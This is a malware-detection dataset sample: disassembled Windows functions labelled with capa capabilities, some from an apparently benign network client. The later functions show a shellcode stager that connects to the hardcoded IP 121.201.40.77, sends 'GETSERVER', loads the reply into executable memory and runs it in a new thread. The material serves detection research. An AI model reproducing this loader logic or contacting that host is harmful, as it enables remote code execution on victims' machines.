joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c2fd0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x18
mov eax, dword [0x575464]
xor eax, esp
mov dword [esp + 0x14], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x28]
lea eax, [esp + 0xc]
push edi
push eax
lea eax, [esp + 0x18]
mov dword [esp + 0x14], 0x10
mov ebp, dword [esi + 0x16c]
or edi, 0xffffffff
mov ebx, dword [esi]
push eax
push ebp
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x4c3029
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x10
push eax
lea eax, [esp + 0x18]
push eax
push ebp
call dword [sym.imp.WS2_32.dll_accept]
mov edi, eax
push ebp
push esi
call fcn.004b1100
add esp, 8
cmp edi, 0xffffffff
jne 0x4c305e
push str.Error_accept__ing_server_connect
push ebx
call fcn.004b0860
add esp, 8
mov eax, 0x1e
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.004e0fae
add esp, 0x18
ret
push str.Connection_accepted_from_server_n
push ebx
call fcn.004b0930
push 1
mov byte [esi + 0x293], 0
push edi
mov dword [esi + 0x16c], edi
call fcn.004d2e90
mov byte [esi + 0x179], 1
add esp, 0x10
mov eax, dword [ebx + 0x1d8]
test eax, eax
je 0x4c30c5
push 1
push edi
push dword [ebx + 0x1dc]
call eax
add esp, 0xc
test eax, eax
je 0x4c30c5
push esi
call fcn.004c3540
add esp, 4
mov eax, 0x2a
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.004e0fae
add esp, 0x18
ret
mov ecx, dword [esp + 0x24]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004e0fae
add esp, 0x18
ret
Function at 0x4c7ba0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x575464]
xor eax, esp
mov dword [esp + 0x190], eax
push esi
mov esi, dword [esp + 0x19c]
lea eax, [esp + 4]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4c7bde
push eax
push str.WSAStartup_failed___d_
push esi
call fcn.004b0860
add esp, 0xc
jmp 0x4c7c19
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [esp + 4]
cmp al, 2
jne 0x4c7c0b
shr eax, 8
test al, al
jne 0x4c7c0b
xor eax, eax
pop esi
mov ecx, dword [esp + 0x190]
xor ecx, esp
call fcn.004e0fae
add esp, 0x194
ret
push str.insufficient_winsock_version_to_support_telnet
push esi
call fcn.004b0860
add esp, 8
mov ecx, dword [esp + 0x194]
mov eax, 2
pop esi
xor ecx, esp
call fcn.004e0fae
add esp, 0x194
ret

Function at 0x4c84c0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0xc]
push esi
mov esi, dword [esp + 0xc]
push edi
push 0
mov byte [esp + 0x16], al
lea eax, [esp + 0x14]
mov edi, dword [esi]
push 3
push eax
push dword [esi + 0x168]
mov byte [esp + 0x20], 0xff
mov byte [esp + 0x21], bl
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x4c850c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push edi
call fcn.004b0860
add esp, 0xc
push dword [esp + 0x18]
push ebx
push str.SENT
push dword [esi]
call fcn.004c7dc0
add esp, 0x10
pop edi
pop esi
pop ebx
ret
Function at 0x4c85f0
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x14
cmp dword [esp + 0x1c], 0x1f
mov eax, dword [esp + 0x18]
push ebx
mov eax, dword [eax]
mov dword [esp + 4], eax
mov ebx, dword [eax + 0x154]
jne 0x4c8749
push ebp
push edi
lea ebp, [ebx + 0x1cb0]
lea edi, [ebx + 0x1eb0]
mov dword [edi], ebp
cmp ebp, edi
jae 0x4c8629
mov byte [ebp], 0xff
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x4c8634
mov byte [eax], 0xfa
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x4c863f
mov byte [eax], 0x1f
inc dword [edi]
movzx eax, word [ebx + 0x1ca8]
push esi
mov esi, dword [sym.imp.WS2_32.dll_htons]
push eax
call esi
mov word [esp + 0x14], ax
movzx eax, word [ebx + 0x1caa]
push eax
call esi
mov ecx, dword [edi]
mov word [esp + 0x1c], ax
cmp ecx, edi
jae 0x4c8672
mov al, byte [esp + 0x14]
mov byte [ecx], al
inc dword [edi]
mov ecx, dword [edi]
cmp ecx, edi
jae 0x4c8680
mov al, byte [esp + 0x15]
mov byte [ecx], al
inc dword [edi]
mov ecx, dword [edi]
cmp ecx, edi
jae 0x4c868e
mov al, byte [esp + 0x1c]
mov byte [ecx], al
inc dword [edi]
mov ecx, dword [edi]
cmp ecx, edi
jae 0x4c869c
mov al, byte [esp + 0x1d]
mov byte [ecx], al
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x4c86a7
mov byte [eax], 0xff
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x4c86b2
mov byte [eax], 0xf0
inc dword [edi]
mov eax, dword [edi]
mov esi, dword [esp + 0x10]
mov dword [ebx + 0x1eb4], eax
sub eax, ebp
sub eax, 2
mov dword [edi], ebp
push eax
lea eax, [ebx + 0x1cb2]
push eax
push 0x3e
push esi
call fcn.004c7ed0
mov edi, dword [esp + 0x38]
add esp, 0x10
push 0
push 3
push ebp
push dword [edi + 0x168]
call dword [sym.imp.WS2_32.dll_send]
mov ebp, dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
jns 0x4c8708
call ebp
push eax
push str.Sending_data_failed___d_
push esi
call fcn.004b0860
add esp, 0xc
push 4
lea eax, [ebx + 0x1cb3]
push eax
push edi
call fcn.004c8530
add esp, 0xc
lea eax, [ebx + 0x1cb7]
push 0
push 2
push eax
push dword [edi + 0x168]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x4c8746
call ebp
push eax
push str.Sending_data_failed___d_
push esi
call fcn.004b0860
add esp, 0xc
pop esi
pop edi
pop ebp
pop ebx
add esp, 0x14
ret
Function at 0x4c9650
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x88
mov eax, dword [0x575464]
xor eax, esp
mov dword [esp + 0x84], eax
push ebx
push ebp
mov ebp, dword [esp + 0x94]
lea eax, [esp + 8]
push esi
push edi
push eax
mov esi, dword [ebp + 0x4e8]
lea eax, [esp + 0x18]
mov edi, dword [ebp]
push eax
mov dword [esp + 0x18], 0x80
mov eax, dword [esi + 0x154]
push 0
add eax, 4
push eax
push dword [esi + 0x15c]
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [esi + 0x148], 0
mov dword [esi + 0x14c], eax
jne 0x4c96d6
push dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
lea eax, [esi + 0xc8]
push eax
call fcn.0049dd60
mov eax, dword [esp + 0x1c]
add esp, 0xc
mov dword [esi + 0x148], eax
mov edx, dword [esi + 0x14c]
cmp edx, 4
jge 0x4c9711
push str.Received_too_short_packet
push edi
call fcn.004b0860
add esp, 8
mov dword [esi + 0xc], 7
xor eax, eax
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004e0fae
add esp, 0x88
ret
mov eax, dword [esi + 0x15c]
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
shl eax, 8
or ecx, eax
mov dword [esi + 0xc], ecx
add ecx, 0xfffffffd
cmp ecx, 3
ja case.default.0x4c9732
jmp dword [ecx*4 + 0x4c983c]
cmp edx, 4
jle case.0x4c9732.4
mov eax, dword [esi + 0x15c]
movzx ecx, byte [eax + 2]
movzx eax, byte [eax + 3]
shl ecx, 8
or ecx, eax
movzx eax, word [esi + 0x40]
inc eax
movzx eax, ax
cmp eax, ecx
jne case.0x4c9732.4
lea eax, [edx - 4]
push eax
mov eax, dword [esi + 0x15c]
add eax, 4
push eax
push 1
push ebp
call fcn.004b0740
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x4c9796
push 5
push esi
call fcn.004c9f90
add esp, 8
mov eax, ebx
jmp 0x4c96f8
mov eax, dword [esi + 0x14c]
sub eax, 4
cdq
add dword [edi + 0x70], eax
adc dword [edi + 0x74], edx
push dword [edi + 0x74]
push dword [edi + 0x70]
push edi
call fcn.004bc7e0
jmp 0x4c9811
mov eax, dword [esi + 0x15c]
movzx ecx, byte [eax + 2]
movzx eax, byte [eax + 3]
shl ecx, 8
or ecx, eax
mov eax, dword [esi + 0x15c]
add eax, 4
mov dword [esi + 8], ecx
push eax
push 0x5404c0
push edi
call fcn.004b0930
jmp 0x4c9811
lea eax, [edx - 2]
push eax
mov eax, dword [esi + 0x15c]
add eax, 2
push eax
push esi
call fcn.004c93e0
add esp, 0xc
test eax, eax
je case.0x4c9732.4
jmp 0x4c96f8
push str.Internal_error:_Unexpected_packet
push 0x541038
push edi
call fcn.004b0860
add esp, 0xc
push ebp
call fcn.004bca40
add esp, 4
test eax, eax
je 0x4c96f6
push 5
push esi
call fcn.004c9f90
add esp, 8
mov eax, 0x2a
jmp 0x4c96f8
Function at 0x4d09b0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x108
mov eax, dword [0x575464]
xor eax, esp
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
push eax
call fcn.0050cb36
add esp, 4
mov byte [esp], 0
test eax, eax
je 0x4d0a15
push 0x104
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [esp], 0
je 0x4d0a15
lea eax, [esp]
push eax
call dword [0x57536c]
add esp, 4
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.004e0fae
add esp, 0x108
ret
mov ecx, dword [esp + 0x104]
xor eax, eax
xor ecx, esp
call fcn.004e0fae
add esp, 0x108
ret
Function at 0x4d44d0
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov eax, dword [esi]
cmp dword [eax + 4], 2
jne 0x4d44fb
mov ecx, dword [esi + 0xc]
test ecx, ecx
jne 0x4d44ea
pop edi
xor eax, eax
pop esi
ret
push dword [eax + 8]
push dword [esp + 0x18]
push 1
push dword [esp + 0x1c]
call ecx
jmp 0x4d4530
cmp dword [esi + 8], 0
jne 0x4d451e
push 0x561704
push dword [eax + 8]
call fcn.0050acc4
add esp, 8
mov dword [esi + 8], eax
test eax, eax
jne 0x4d451e
pop edi
or eax, 0xffffffff
pop esi
ret
push dword [esi + 8]
push dword [esp + 0x18]
push 1
push dword [esp + 0x1c]
call fcn.0050b4c6
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x4d4552
mov eax, dword [esi + 8]
test eax, eax
je 0x4d454c
push eax
call fcn.00509d2c
add esp, 4
mov dword [esi + 8], edi
mov eax, dword [esi]
mov eax, dword [eax]
mov dword [esi], eax
mov eax, edi
pop edi
pop esi
ret

Function at 0x4d8850
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov esi, ebx
push edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4d8860
sub esi, ecx
lea ebp, [esi + esi]
push ebp
call dword [0x575360]
mov edi, eax
add esp, 4
test edi, edi
jne 0x4d8887
lea eax, [edi + 0x1b]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor ecx, ecx
test esi, esi
je 0x4d88a0
nop dword [eax]
mov al, byte [ecx + ebx]
mov byte [edi + ecx*2], al
mov byte [edi + ecx*2 + 1], 0
inc ecx
cmp ecx, esi
jb 0x4d8890
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, dword [esp + 0x28]
test eax, eax
je 0x4d891a
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x8002
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x4d890e
push 0
push ebp
push edi
push dword [esp + 0x1c]
mov dword [esp + 0x28], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push 0
lea eax, [esp + 0x1c]
push eax
push esi
push 2
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi + 0x10], 0
push edi
mov byte [esi + 0x14], 0
call dword [0x575364]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x4d8940
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
sub esp, 0x24
mov eax, dword [0x575464]
xor eax, esp
mov dword [esp + 0x20], eax
push esi
mov esi, dword [esp + 0x30]
lea eax, [esp + 4]
push edi
mov edi, dword [esp + 0x38]
push 0xf0000000
push 1
push 0
push 0
push eax
mov dword [esp + 0x20], 8
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4d89e4
lea eax, [esp + 0x20]
mov dword [esp + 0x24], 0
push eax
xorps xmm0, xmm0
movups xmmword [esp + 0x18], xmm0
push edi
mov word [esp + 0x1c], 0x208
mov dword [esp + 0x20], 0x6601
mov dword [esp + 0x24], 8
call fcn.004d8a50
lea eax, [esp + 0x28]
push 8
push eax
call fcn.004dd890
add esp, 0x10
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x14
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x4d89f7
push eax
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
xor al, al
pop esi
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.004e0fae
add esp, 0x24
ret
mov ecx, dword [esp + 0x30]
push dword [esp + 0xc]
mov eax, dword [ecx]
mov dword [esi], eax
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
lea eax, [esp + 0x10]
push eax
push esi
push 0
push 0
push 0
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [esp + 0x28]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.004e0fae
add esp, 0x24
ret
Function at 0x4de330
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
push edi
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [0x575360]
mov edi, eax
add esp, 4
test edi, edi
jne 0x4de357
pop edi
pop esi
pop ecx
ret
lea ecx, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], ecx
mov eax, dword [esi + 0xc]
add eax, ecx
push ebx
mov ebx, dword [esp + 0x1c]
mov dword [edi + 8], eax
push ebp
cmp ebx, dword [esi + 0x10]
jbe 0x4de39f
mov eax, dword [esi]
push ecx
call eax
mov eax, dword [esi + 4]
push ebx
push dword [esp + 0x24]
push dword [edi + 4]
call eax
mov ebp, dword [edi + 8]
push dword [edi + 4]
add ebp, dword [esi + 0xc]
mov eax, dword [esi + 8]
push ebp
call eax
mov ebx, dword [esi + 0x14]
add esp, 0x18
mov dword [esp + 0x20], ebx
jmp 0x4de3a3
mov ebp, dword [esp + 0x1c]
push dword [edi + 4]
mov eax, dword [esi]
call eax
push dword [edi + 8]
mov eax, dword [esi]
call eax
mov eax, dword [esp + 0x28]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x4de405
mov dword [esp + 0x10], eax
mov ebx, eax
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x18], al
lea eax, [esp + 0x18]
push 1
push eax
push dword [edi + 4]
mov eax, dword [esi + 4]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x24], al
lea eax, [esp + 0x24]
push 1
push eax
push dword [edi + 8]
mov eax, dword [esi + 4]
call eax
add esp, 0x18
sub ebx, 1
jne 0x4de3c4
mov ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0x10]
jae 0x4de437
nop word [eax + eax]
mov eax, dword [esi + 4]
push 1
push 0x54c0c8
push dword [edi + 4]
call eax
mov eax, dword [esi + 4]
push 1
push 0x54c0c9
push dword [edi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [esi + 0x10]
jb 0x4de410
pop ebp
pop ebx
mov eax, edi
pop edi
pop esi
pop ecx
ret

Function at 0x4e56fc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x516b8f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00516a0e

Function at 0x51a744
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0051a404
Function at 0x402290
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inspect load icon resource
Send data
Send data on socket
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x543c88
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x5a61c0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
push 0
push 0x66
mov dword [ebp - 0x24], ebx
call fcn.004159b7
mov dword [ebp - 4], 0
mov dword [ebx], vtable.CClientDemoDlg.0
call fcn.0041612d
call fcn.0041612d
push 0x80
mov eax, dword [eax + 0xc]
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebx + 0xbc], eax
movq xmm0, qword [str.GETSERVER]
mov ax, word [0x586ee8]
push 0x9b648
movq qword [ebp - 0x20], xmm0
mov word [ebp - 0x18], ax
call fcn.004031fb
mov esi, eax
add esp, 4
test esi, esi
je 0x40233a
push 0x9b648
push 0
push esi
call fcn.0052cd90
add esp, 0xc
mov ecx, esi
call fcn.00402960
mov esi, eax
jmp 0x40233c
xor esi, esi
push dword [0x5a7590]
mov ecx, esi
push str.121.201.40.77
call fcn.00402a30
test eax, eax
je 0x402363
push 0
push 0xa
lea eax, [ebp - 0x20]
push eax
push dword [esi + 8]
call dword [sym.imp.WS2_32.dll_send]
cmp dword [esi + 0x4db2c], 0
jne 0x40237f
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call edi
cmp dword [esi + 0x4db2c], 0
je 0x402372
push 0x40
push 0x3000
push 0x4db18
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x4023be
push 0x4db18
lea eax, [esi + 0x4db30]
push eax
push edi
call fcn.0052d170
add esp, 0xc
push 0
push 0
push edi
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0052b596
mov esp, ebp
pop ebp
ret 4

Function at 0x4026b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
movzx eax, ax
mov dword [ebp + 8], eax
pop ebp
jmp fcn.00410dfe

Function at 0x402960
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x5a61c0]
xor eax, esp
mov dword [esp + 0x198], eax
push esi
mov esi, ecx
lea eax, [esp + 8]
push eax
push 0x202
mov dword [esi], vtable.CDwonKey.0
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0x4db18
lea ecx, [esi + 0x4db30]
mov dword [esi + 0xc], eax
push 0
push ecx
mov dword [esi + 8], 0xffffffff
mov dword [esi + 0x4db2c], 0
mov dword [esi + 4], 0
call fcn.0052cd90
mov ecx, dword [esp + 0x1a8]
add esp, 0xc
mov eax, esi
pop esi
xor ecx, esp
call fcn.0052b596
mov esp, ebp
pop ebp
ret
Function at 0x402a30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x5a61c0]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
push 6
push 1
push 2
mov dword [esp + 0x1c], edi
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 8], eax
cmp eax, 0xffffffff
jne 0x402a80
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.0052b596
mov esp, ebp
pop ebp
ret 8
xor esi, esi
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
push dword [ebp + 0xc]
mov edi, eax
mov eax, 2
mov word [esp + 0x18], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x16], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x18]
push eax
push dword [ebx + 8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402ae6
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x3e8
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [esp + 0x10]
inc esi
cmp esi, 4
jl 0x402a82
jmp 0x402a80
push 0
push 0
push ebx
push 0x402b20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x24]
mov eax, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0052b596
mov esp, ebp
pop ebp
ret 8

Function at 0x410e5a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor esi, esi
call fcn.0041612d
push 5
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x410e91
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov ecx, dword [ebp - 4]
push ebx
push dword [ebp + 0xc]
push esi
call fcn.00410eb2
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x418011
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov esi, edi
cmp dword [ebp + 8], esi
je 0x418056
call fcn.0041612d
push 0xf0
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x418056
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x418072
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0048aa5c
mov ebx, eax
test edi, edi
je 0x418070
test esi, esi
je 0x418070
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4f4cfc
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, ecx
call fcn.005272d6
call fcn.00416181
cmp dword [eax + 0x14], 0
jne 0x4f4d17
mov ecx, esi
pop esi
jmp fcn.004f4102
pop esi
ret

Function at 0x4f4e1d
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov ecx, dword [esi + 4]
call fcn.0041c7dd
push 0xfffffffffffffff0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x4f4e59
call fcn.004f503c
mov dword [esi + 0xc], 1
jmp 0x4f4e5e
call fcn.004f503c
cmp dword [esi], 0
je 0x4f4ea7
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, dword [ebp + 0x10]
test eax, eax
jle 0x4f4e81
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, esi
call fcn.004180e6
jmp 0x4f4e92
push 0xff
mov ecx, esi
call fcn.00402020
push 0x100
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0xffffffffffffffff
mov ecx, esi
call fcn.0041098f
jmp 0x4f4ecb
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x4f4ecb
push dword [esi]
push dword [ebp - 4]
call fcn.0041f096
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4f4f91
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
push dword [ebp + 0xc]
call fcn.004f503c
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x4f4fd9
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.004180e6
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0041098f
jmp 0x4f4fe4
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0041f096
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x525093
Capabilities:
Get common file path
Get file system object information

Disassembly:
push esi
mov esi, ecx
call fcn.00403060
call fcn.00416181
cmp dword [eax + 0x14], 0
jne 0x5250ae
mov ecx, esi
pop esi
jmp fcn.0052497c
pop esi
ret